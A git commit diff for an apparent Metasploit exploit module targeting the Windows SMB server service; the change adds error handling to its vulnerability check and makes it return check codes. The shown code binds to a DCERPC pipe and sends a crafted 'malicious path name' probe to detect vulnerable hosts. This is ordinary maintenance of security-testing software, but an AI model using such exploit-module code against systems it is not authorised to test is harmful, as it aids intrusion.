return the appropriate check codes instead of just printing stuff. add some error checks to avoid stack traces against samba and non-existant hosts
git-svn-id: file:///home/svn/framework3/trunk@12314 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
d6edeebcef
commit
b5e0962e3e
|
@ -957,8 +957,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
connect()
|
begin
|
||||||
smb_login()
|
connect()
|
||||||
|
smb_login()
|
||||||
|
rescue Rex::ConnectionError => e
|
||||||
|
print_error("Connection failed: #{e.class}: #{e}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Build the malicious path name
|
# Build the malicious path name
|
||||||
|
@ -977,7 +982,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||||
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
||||||
)
|
)
|
||||||
dcerpc_bind(handle)
|
|
||||||
|
begin
|
||||||
|
# Samba doesn't have this handle and returns an ErrorCode
|
||||||
|
dcerpc_bind(handle)
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
|
print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length)
|
||||||
|
|
||||||
|
@ -992,16 +1003,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
resp = dcerpc.call(0x1f, stub)
|
resp = dcerpc.call(0x1f, stub)
|
||||||
error = resp[4,4].unpack("V")[0]
|
error = resp[4,4].unpack("V")[0]
|
||||||
|
|
||||||
if (error == 0x0052005c) # \R :)
|
|
||||||
print_status("System is vulnerable.")
|
|
||||||
else
|
|
||||||
print_status("System is invulnerable (status: 0x%08x)" % error)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Cleanup
|
# Cleanup
|
||||||
simple.client.close
|
simple.client.close
|
||||||
simple.client.tree_disconnect
|
simple.client.tree_disconnect
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
|
if (error == 0x0052005c) # \R :)
|
||||||
|
return Msf::Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
print_status("System is not vulnerable (status: 0x%08x)" % error) if error
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue